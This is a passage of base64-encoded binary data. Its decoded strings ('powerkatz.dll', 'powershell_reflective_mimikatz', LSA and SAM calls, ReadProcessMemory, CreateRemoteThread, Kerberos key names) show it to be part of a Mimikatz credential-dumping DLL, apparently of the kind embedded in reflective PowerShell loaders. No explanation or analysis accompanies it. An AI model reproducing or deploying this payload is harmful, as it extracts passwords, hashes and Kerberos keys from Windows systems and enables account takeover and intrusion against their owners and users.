IAABUAU2FtR2V0QWxpYXNNZW1iZXJzaGlwAFNBTUxJQi5kbGwAACgATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAAlAExzYUZyZWVSZXR1cm5CdWZmZXIAIwBMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACIATHNhQ29ubmVjdFVudHJ1c3RlZAAhAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UAAFNlY3VyMzIuZGxsAAcAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbACYAUlzQ2hhckFscGhhTnVtZXJpY1cAVVNFUjMyLmRsbAAABQBNRDRVcGRhdGUAAwBNRDRGaW5hbAAABABNRDRJbml0AGFkdmFwaTMyLmRsbAAAFABSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAANAFJ0bEZyZWVBbnNpU3RyaW5nABIAUnRsSW5pdFVuaWNvZGVTdHJpbmcAAAwAUnRsRXF1YWxVbmljb2RlU3RyaW5nAAEATnRRdWVyeU9iamVjdAACAE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgAADwBSdGxHZXRDdXJyZW50UGViAAAAAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MACQBSdGxDcmVhdGVVc2VyVGhyZWFkABMAUnRsU3RyaW5nRnJvbUdVSUQADgBSdGxGcmVlVW5pY29kZVN0cmluZwAAEABSdGxHZXROdFZlcnNpb25OdW1iZXJzAAAWAFJ0bFVwY2FzZVVuaWNvZGVTdHJpbmcAAAgAUnRsQXBwZW5kVW5pY29kZVN0cmluZ1RvU3RyaW5nAAAHAFJ0bEFuc2lTdHJpbmdUb1VuaWNvZGVTdHJpbmcAAAMATnRSZXN1bWVQcm9jZXNzAAYAUnRsQWRqdXN0UHJpdmlsZWdlAAAEAE50U3VzcGVuZFByb2Nlc3MAAAUATnRUZXJtaW5hdGVQcm9jZXNzAAALAFJ0bEVxdWFsU3RyaW5nAABudGRsbC5kbGwAxQBGaWxlVGltZVRvU3lzdGVtVGltZQAAWAJMb2NhbEFsbG9jAABcAkxvY2FsRnJlZQClA1dyaXRlRmlsZQC1AlJlYWRGaWxlAABWAENyZWF0ZUZpbGVXAO4ARmx1c2hGaWxlQnVmZmVycwAAZAFHZXRGaWxlU2l6ZUV4AEEBR2V0Q3VycmVudERpcmVjdG9yeVcAADQAQ2xvc2VIYW5kbGUAQgFHZXRDdXJyZW50UHJvY2VzcwCGAk9wZW5Qcm9jZXNzAHEBR2V0TGFzdEVycm9yAACTAER1cGxpY2F0ZUhhbmRsZQCKAERldmljZUlvQ29udHJvbAAcA1NldEZpbGVQb2ludGVyAACJA1ZpcnR1YWxRdWVyeQAAhANWaXJ0dWFsRnJlZQCKA1ZpcnR1YWxRdWVyeUV4AACFA1ZpcnR1YWxGcmVlRXgAuAJSZWFkUHJvY2Vzc01lbW9yeQCCA1ZpcnR1YWxBbGxvYwAAiANWaXJ0dWFsUHJvdGVjdEV4AACDA1ZpcnR1YWxBbGxvY0V4AACHA1ZpcnR1YWxQcm90ZWN0AACuA1dyaXRlUHJvY2Vzc01lbW9yeQAAaAJNYXBWaWV3T2ZGaWxlAHIDVW5tYXBWaWV3T2ZGaWxlAFUAQ3JlYXRlRmlsZU1hcHBpbmdXAABfAkxvY2FsUmVBbGxvYwAAaQBDcmVhdGVQcm9jZXNzVwAAKQNTZXRMYXN0RXJyb3IAAJEDV2FpdEZvclNpbmdsZU9iamVjdABqAENyZWF0ZVJlbW90ZVRocmVhZAAASAFHZXREYXRlRm9ybWF0VwAA4QFHZXRUaW1lRm9ybWF0VwAAxABGaWxlVGltZVRvTG9jYWxGaWxlVGltZQDVAEZpbmRGaXJzdEZpbGVXAADKAUdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAGEBR2V0RmlsZUF0dHJpYnV0ZXNXAADOAEZpbmRDbG9zZQDdAEZpbmROZXh0RmlsZVcA+ABGcmVlTGlicmFyeQBVAkxvYWRMaWJyYXJ5VwAAoAFHZXRQcm9jQWRkcmVzcwAAggFHZXRNb2R1bGVIYW5kbGVXAABXA1NsZWVwAPICU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAAC5AUdldFN0ZEhhbmRsZQAAyABGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcANwFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAQwJJc1dvdzY0UHJvY2VzcwAACwNTZXRDdXJyZW50RGlyZWN0b3J5VwAARQFHZXRDdXJyZW50VGhyZWFkAABDAUdldEN1cnJlbnRQcm9jZXNzSWQAS0VSTkVMMzIuZGxsAAAcBV92c2N3cHJpbnRmAHEFd2NzcmNocgBoBXdjc2NocgAAHwVfd2NzaWNtcAAAEgVfc3RyaWNtcAAAIQVfd2NzbmljbXAAcwV3Y3NzdHIAAHYFd2NzdG91bAB0BXdjc3RvbAAAVgFfZXJybm8AAEIFdmZ3cHJpbnRmAJUEZmZsdXNoAAAnBF93Zm9wZW4AbwFfZmlsZW5vANsBX2lvYgAAkgRmY2xvc2UAAKYEZnJlZQAA6gNfd2NzZHVwAG1zdmNydC5kbGwAAO4EbWVtc2V0AADqBG1lbWNweQAAagBfWGNwdEZpbHRlcgDeBG1hbGxvYwAA1QFfaW5pdHRlcm0AAQFfYW1zZ19leGl0AACFBGNhbGxvYwAAwARpc2RpZ2l0AOcEbWJ0b3djAACwAF9fbWJfY3VyX21heAAAwgRpc2xlYWRieXRlAADVBGlzeGRpZ2l0AADZBGxvY2FsZWNvbnYAAC8DX3NucHJpbnRmADECX2l0b2EAbgV3Y3RvbWIAAJQEZmVycm9yAADMBGlzd2N0eXBlAABpBXdjc3RvbWJzAAD/BHJlYWxsb2MAhQBfX2JhZGlvaW5mbwDPAF9fcGlvaW5mbwAEA19yZWFkAEsCX2xzZWVraTY0AEgEX3dyaXRlAADeAV9pc2F0dHkAPQV1bmdldGMAAI0CT3V0cHV0RGVidWdTdHJpbmdBAADXAlJ0bFVud2luZAApAkludGVybG9ja2VkRXhjaGFuZ2UAJgJJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAAXwNUZXJtaW5hdGVQcm9jZXNzAABvA1VuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAASwNTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAowJRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDfAUdldFRpY2tDb3VudAAARgFHZXRDdXJyZW50VGhyZWFkSWQAAAIFX2Noa3N0awAABV9hdWxscmVtAAAAAAAAAAAb3eJUAAAAANKxAgABAAAAAQAAAAEAAADIsQIAzLECANCxAgAOTAAA4LECAAAAcG93ZXJrYXR6LmRsbABwb3dlcnNoZWxsX3JlZmxlY3RpdmVfbWltaWthdHoAAE7mQLuxGb9EAAAAAAAAAAAwlAEQIOcBECAFkx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exNwY4HjgkOHE4oDjmOOs48Dj7OA05JzkuOTk5VjlhOWg5hjmrObM5zDkyOj06aTqKOtA63jroOv46FDtAO0w7WjtxO4c7kzu3O9E75jv2OyA8LDw6PEA8RTxbPGA8aDx2PHs8gTyTPJo8qTy4PNA8Cj0mPUs9dz2qPec9DD4bPig+hz6UPqQ+rD6yPtY+Jj8uPzw/mT+oP7A/AAAAUAAA2AAAACIw6jAIMRcxHzFAMa4xuDHPMQcyHjIyMmYy9zIFMxkzITMvMzQzYTNpM4MzjjOjM8Uz9DMfNC00QjRbNG40hDShNNQ0+jQTNSw1TzWENZk1rjXINdo1CjYeNj42YDaANqs27Db2Ng03GTdXN203ije3N+83/DcYOCs4VDhqOIA4jDiiOMw41zjnOFM5dDmBOYc5lTmcObk5zTncOew59Dn6OQc6DjokOoc6rjr9OlM72TzoPBA9ND1lPYQ9kT0JPlc+aT57PpU+4D6nP90/9j8AYAAA1AAAAAYwFDAtMDcwsjDWMOcwZjHpMRIyYzJ5MqkysTK3MsUyzjLWMgMzEDMZMx8zSDNaM4Uz7jMWNEc00zTeNP80GzVGNRY22jbpNiE4jTjGOBA5UzmPOR48XTx6PLQ8yTz2PAc9GD0vPT49Xz1yPZo9pD3FPco96T3+PRo+Lz5GPqc+rj6zPrk+vz7FPss+0T7XPt0+4z7pPu8+9T4aPyA/Jj8sPzI/OD9PP1U/Wz9hP2c/bz9zP3c/ez9/P4M/hz+LP48/kz+XP5s/9T8AAABwAAAcAQAAOzCZMM0w3TCfMbAy0jJ4NJA3dTj5OFQ5WTlnOXY5ezmDOZE5njmpObA5vTnFOcs50DnXOd054jnpOe859Dn7OQE6BjoNOhM6GDofOiU6KjoxOjc6PDpDOkk6TjpVOls6YzprOnM6ezqDOos6kzqnOq46wjrIOs461DraOuA65jrsOvI69zoIOxw7LTtMO287fjucO607ujvBO9U77jsFPA88Kzw0PFI8XzxsPHc8fTybPLw8zDzYPPA8+zwVPTE9SD1aPWE9bj10PZE9qT2wPcQ93T3wPQg+Hj4pPjA+UT5oPoY+nj6mPqw+wj7KPuU+7D75Pv8+Bz8NPxs/JT9QP1Y/Zj9wP4g/kT+XP7Y/0z/fP/A/AIAAAKABAAAFMEcwUDBwMKowtzDgMPIw/jADMQwxLjE4MUYxdjGDMa4x1zEHMiQyWjJiMmgyeDKRMqIyszK8MsIyzTLhMvgyFjNLM1MzYzN5M44zozOsM7Qz4zPsMwM0EjQjNCk0NjR1NHs0iTSSNJs00jTcNOE0CzUzNWA1ezWGNZ41wDXPNdk1CzYQNho2IDY2Nj42RDZMNlI2dzZ8Nrs2xDbKNts24zbpNvc2/zYFNxo3TjdYN2A3eTeuN7c3wjfHN9E31zfrN/M3+TcJOBE4FzgjOJ44uDjOOPI4+zgpOT85RTlLOVE5Yjl6OYs5uDnyOQw6ZTpyOng6gDqGOqI6sDq9OsM6zDrTOtk64DrvOv86BTsMOxI7GTswOzk7TDtfO2w7eDuQO5k7pjusO8s70Tv4OyM8Kzw8PFw8rzy6PMM82DzgPOs8+zwNPT09TT1jPW49eT2PPZw9oj2qPbA9uD2+Pcw91D3aPeQ98T3+PQc+FD4iPiw+Rj5MPms+wz7YPvM+Dz8sPz4/Tz9hP20/dz+NP6I/rD+2P9U/9j8AkAAA6AAAAA0wJzBFMEswXTB6MIcwmzDuMA0xFDE1MUwxajGUMaYxuDHpMQgyVDJ5MpIymDLXMiIzKjMwM5MznjOkM9QzFzRHNE00qjRKNVI1WDVyNX01gzW2Ne01KDYuNmI2eTajNs02Mzd7N5w3tjf6Nw84MzhQOHU4gjiROJg4sTi8OMw4BzkOOSU5XjmfOfE5OzpFOlk6ezqyOtM67DoTO147azuWO6g7tTvOO9Q7GTwjPCk8dTx/PO489TwAPS09VD1zPcA94z05PkU+Uj5ZPmQ+oj7PPho/LD8zP3k/0z/1PwAAAKAAAOQAAAALMCswQjBdMOUw+TAUMSQxgTGQMbIx7TE4MnsyhzKOMtAyDjMcMzgzdjOEM6YzwjM2NH00mzSxNNw07jT1NC01lTWcNbM11TXwNQc2GjYhNjU2VDZsNrc20zbZNuE25zb3Nv82BTcXNy83ODdPN7A34zfzNws4RzhlOIo4mTj8OBM6GjonOlE6WzpkOnA6qDrKOtY6jTuWO507sDvMO+I7EzwkPEM8aTx4PIg8kjyqPLQ81z3rPfE9Oz5bPns+mz67Pts++z4VPy8/ST9jP3Q/ez+VP6I/vj/DPwAAALAAAPAAAAA+ME0wcTB3MIQwjzCVMKcwsDDfMOQwDTGWMa4xvjHbMTEyOzJGMqYy2jIvM0YzfzOdM7cz1zPfM+Uz7TPzMxU0WDR7NJs